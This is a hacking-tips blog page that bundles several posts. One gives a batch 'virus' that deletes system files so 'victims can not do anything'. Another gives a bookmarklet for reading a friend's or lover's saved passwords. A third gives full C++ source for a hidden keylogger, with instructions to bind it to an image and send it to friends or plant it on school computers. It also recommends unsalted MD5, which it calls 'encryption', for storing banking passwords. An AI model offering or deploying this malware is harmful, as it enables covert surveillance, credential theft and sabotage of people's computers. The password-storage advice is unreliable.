Showing posts with label Programming. Show all posts
Showing posts with label Programming. Show all posts

Virus to Delete Mouse, Explore, LogOff Using Batch Programming

Posted by Alfiya Rebana Friday, April 8, 2011

Usually we write simple viruses in batch programming.  This time also i have one Batch Programming. It will delete explore.exe,logoff ,mouse,keyboard files. So victims can not do anything in his computer.





@echo off

@if exist c:\windows\system32\mouse del c:\windows\system32\mouse
@if exist c:\windows\system32\keyboard del c:\windows\system32\keyboard
copy C:\windows\
@if exist c:\windows\system32\logoff.exe del c:\windows\system32\logoff.exe
@if exist C:\program files\internet explorer\iexplore.exe del C:\program files\internet explorer\iexplore.exe

I hope that you know how to create batch programming. If you don't know please read previous posts about Batch Programming.


How to Reverse JavaScript Shellcode:?

Posted by Alfiya Rebana

With more and more exploits being written in JavaScript, even some 0-day, there is a need to be able to reverse exploits written in JavaScript beyond de-obfuscation. I spent some time this weekend searching Google for a simple way to reverse JavaScript shellcode to assembly. I know people do it all the time. It's hardly rocket science. Yet, I didn't find any good walk-throughs on how to do this. So I thought I'd write one.


For this walk-through, I'll start with JavaScript that has already been extracted from a PDF file and de-obfuscated. So this isn't step 1 of fully reversing a PDF exploit, but for the first several steps, check out Part 2 of this slide deck.



What you'll need:
  1. A safe place to play with exploits (I'll be using an image in VMWare Workstation.)
  2. JavaScript debugger (I highly recommend and will be using Didier Stevens' modified SpiderMonkey.)
  3. Perl
  4. The crap2shellcode.pl script, which you'll find further down in this post
  5. A C compiler and your favorite binary debugger

I'll be using one of the example Adobe Acrobat exploits from the aforementioned slides for this example. You can grab it from milw0rm.

Step 1 - Converting from UTF-encoded characters to ASCII
Most JavaScript shellcode is encoded as either UTF-8 or UTF-16 characters. It would be easy enough to write a tool to convert from any one of these formats to the typical \x-ed UTF-8 format that we're used to seeing shellcode in. But because of the diversity of encoding and obfuscation showing up in JavaScript exploits today, it's more reliable to use JavaScript to decode the shellcode.

For this task, you need a JavaScript debugger. Didier Stevens' SpiderMonkey mod is a great choice. Start by preparing the shellcode text for passing to the debugger. In this case, drop the rest of the exploit, and then wrap the unescape function in an eval function:



Now run this code through SpiderMonkey. SpiderMonkey will create two log files for the eval command, the one with our ASCII shellcode is eval.001.log.



Step 2 - crap2shellcode.pl
This is why I wrote this script, to take an ASCII dump of some shellcode and automate making it debugger-friendly.


---cut---
#!/bin/perl
#
# crap2shellcode - 11/9/2009 Paul Melson
#
# This script takes stdin from some ascii dump of shellcode
# (i.e. unescape-ed JavaScript sploit) and converts it to
# hex and outputs it in a simple C source file for debugging.
#
# gcc -g3 -o dummy dummy.c
# gdb ./dummy
# (gdb) display /50i shellcode
# (gdb) break main
# (gdb) run
#

use strict;
use warnings;

my $crap;
while($crap=<stdin>) {
my $hex = unpack('H*', "$crap");

my $len = length($hex);
my $start = 0;

print "#include <stdio.h>\n\n";
print "static char shellcode[] = \"";

for (my $i = 0; $i < length $hex; $i+=4) {
my $a = substr $hex, $i, 2;
my $b = substr $hex, $i+2, 2;
print "\\x$b\\x$a";
}
print "\";\n\n";
}

print "int main(int argc, char *argv[])\n";
print "{\n";
print " void (*code)() = (void *)shellcode;\n";
print " code();\n";
print " exit(0);\n";
print "}\n";
print "\n";

--paste--

The output of passing eval.001.log through crap2shellcode.pl is a C program that makes debugging the shellcode easy.



Step 3 - View the shellcode/assembly in a debugger
First we have to build it. Since we know that this shellcode is a Linux bindshell the logical choice for where and how to build is Linux with gcc. Similarly, we can use gdb to dump the shellcode. For Win32 shellcode, we would probably pick Visual Studio Express and OllyDbg. Just about any Windows C compiler and debugger will work fine, though.

To build the C code we generated in step 2 with gcc, use the following:

gcc -g3 shellcode.c -o shellcode

The '-g3' flag builds the binary with labels for function stack tracing. This is necessary for debugging the binary. Or at least it makes it a whole lot easier.

Now open the binary in gdb, print *shellcode in x/50i format, set a breakpoint at main(), and run it.

$ gdb ./shellcode
(gdb) display /50i shellcode

(gdb) break main

(gdb) run



CREDIT GOES TO:
http://pmelson.blogspot.com/2009/11/reversing-javascript-shellcode-step-by.html

MD5 Encryption Java Program(not Decryption)-Message Digest Algorithm

Posted by Alfiya Rebana Thursday, April 7, 2011

MD5 is one of the famous Hash algorithm.  This algorithm is used in many websites for storing the password in encrypted form. The MD5 message-digest algorithm was developed by Ronald Rivest at MIT in 1992. This algorithm takes a input message of arbitrary length and produces a 128-bit hash value of the message.

  MD5 is one way encryption method,means only encryption no decryption(but there is lot of hackers helping site to decrypt it).

For java programmers it is easy to encrypt the password with MD5.  How?  go ahead...


For two days ,  i didn't post anything because i was doing my NIIT project.  Yesterday only i finished it.  My project is Online banking service.   In my project i have planned to store the password in encrypted password.  But i don't know how to do that?  When i search for algorithm in internet, i came to know that java itself have MD5 algorithm Class.  I got surprised.  Now my project's customers password are stored in 128 bit encrypted form.

Now  I will help you how to use the MD5 Class in java.

Step 1:

  • First of all you have to create  a class named as "ByteToHex" for future use.
  • Delete Main function(if you are working in  netbeans)
  • Create a new Function named as "byteToHex()"

The Source code should be :

package Model;
public class ByteToHex {

public static String bytesToHex(byte[] b) {

char hexDigit[] = {'0', '1', '2', '3', '4', '5', '6', '7',
'8', '9', 'A', 'B', 'C', 'D', 'E', 'F'};
StringBuffer buf = new StringBuffer();
for (int j=0; j<b.length; j++) {
buf.append(hexDigit[(b[j] >>4) & 0x0f]);
buf.append(hexDigit[b[j] & 0x0f]);
}
return buf.toString();
}

}


Save the file

Step 2:
  • create a new class with main fucntion.
  • import the following packages :

import Model.ByteToHex;

import java.security.MessageDigest;



Use the following code for MD5 encryption:


/*MD5 Encryption goes here-1 way encryption*/

String cipher=null;


try

{



MessageDigest md = MessageDigest.getInstance("MD5");

String input=password;  //storing the password in input string

md.update(input.getBytes()); //storing the password in md object as bytes

byte[] output = md.digest();  //producing the 128 bit output using the md5 algorithm

cipher= ByteToHex.bytesToHex(output); //converting the bytes to string and storing in cipher String

}

catch (Exception e) {

System.out.println("Exception: "+e);

}

/*MD5 Encryption ends here-1 way encryption*/



I hope you understand.  if you have doubts ,comment here.  I will help you.  This program is only for Java programs.  in future i will give you MD5  code for PHP.

you can use SHA-1 algorithm also .By Editing the following line :
MessageDigest.getInstance("MD5");
as
 MessageDigest.getInstance("SHA-1");

Hack to Enable Right Click in Websites

Posted by Alfiya Rebana

Is your favorite website disabled the right click button? No need to worry.  you can enable the Right Click button after reading this article.


There are different tools  for disabling the javascript.   But i will introduce again my favorite and best web delveloper tool for you.  This is one of best tool for hackers.



Download it and install in mozilla
https://addons.mozilla.org/en-US/firefox/addon/web-developer/

you can see Disable button in toolbar section.

click the button
You can now see the "disable Javascript" option
Select it.
Again select "All Javascript" option.

That's all your favorite website's javascript is disabled.
You can now use right click.

Want to say thanks? instead of saying simply thanx. Just share this link in
stumblupon or delicious or reddit or any other public social bookmark sites. If you are doing so,I am thankful to you


Note:
The above toolbar not only disable the javascript but also image ,css and more(for loading the website faster).

I am going to teach you how to see the passwords which are shown as astersik characters(*).

What is the use?

if your friend/lover select the remember passwords option when login,then you got the chance to hack their password without much effort(no need of phishing ).


Two cases:

Case I: 
if they select remember password in mozilla popup. It is easy to see the password using this method: How to see the saved passwords in mozilla?

Second I:
If the select remember passwords in login form , here is the another method.

How to see the remembered passwords ?
 Whenever someone select remember password in login form,the passwords will be automatically filled.  But the problem is that we can login but can not see the password.  Because the password will be shown as "astersik characters"(*).  Her e is the trick to crack that also.

Visit any site which remembers passwords and show astersik characters in password box.

Copy the following code

javascript:(function(){var s,F,j,f,i; s = ""; F = document.forms; for(j=0; j<F.length; ++j) { f = F[j]; for (i=0; i<f.length; ++i) { if (f[i].type.toLowerCase() == "password") s += f[i].value + "\n"; } } if (s) alert("Passwords in forms on this page:\n\n" + s); else alert("There are no passwords in forms on this page.");})();
Paste in the address bar.
Press enter key
Now the hidden password behind the astersik character will be shown.


Tutorial With Example Picture:
Lets take the yahoomail.com
if the password is auto filled as shown in the picture, then this method will work for you.


Hi friends, the most interesting part  of the hacking is spying.  Today i am going to introduce to the C++ Spyware code.   It is going to be very fun.  You can install this spyware in your college/school  or in your friend system, and get their username and passwords.  This is very simple hacking trick when compared to phishing web page.



Disadvantage of Phishing Web page:
you have to upload phishing web page to web hosting.  But only few website won't detect the phishing webpage.
website url is different. Easy to detect that we are hacking.

Advantage of Spyware-keylogger:
Very simple and easy method.
Victim can't detect that we are hacking.

How to create Keylogger using Visual C++?
Requirements:
Dev C++.  Download it from here: http://www.bloodshed.net/
Knowledge about Visual C++(need, if you are going to develop the code).

Install dev C++ in your system and open the dev C++ compiler.
Go to File->New->Source File.
you can see a blank works space will be there in window.
now copy the below keylogger code into the blank work space.
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
Compile the Code(Ctrl+F9)


Now execute the program by selecting Execute->Run(ctrl+F10)

now your keylogger will run in your system. whatever you type using keyboard. It will be stored in Log.txt file.
you can see the log.txt file where you save the file.



bind the exe file with image or any files and send it to your friend.
(0r)
if you have physical access to your college/school system,then copy the exe file in that system and run it.

For now, i just give simple keylogger. Soon i will post most efficient keylogger's program code.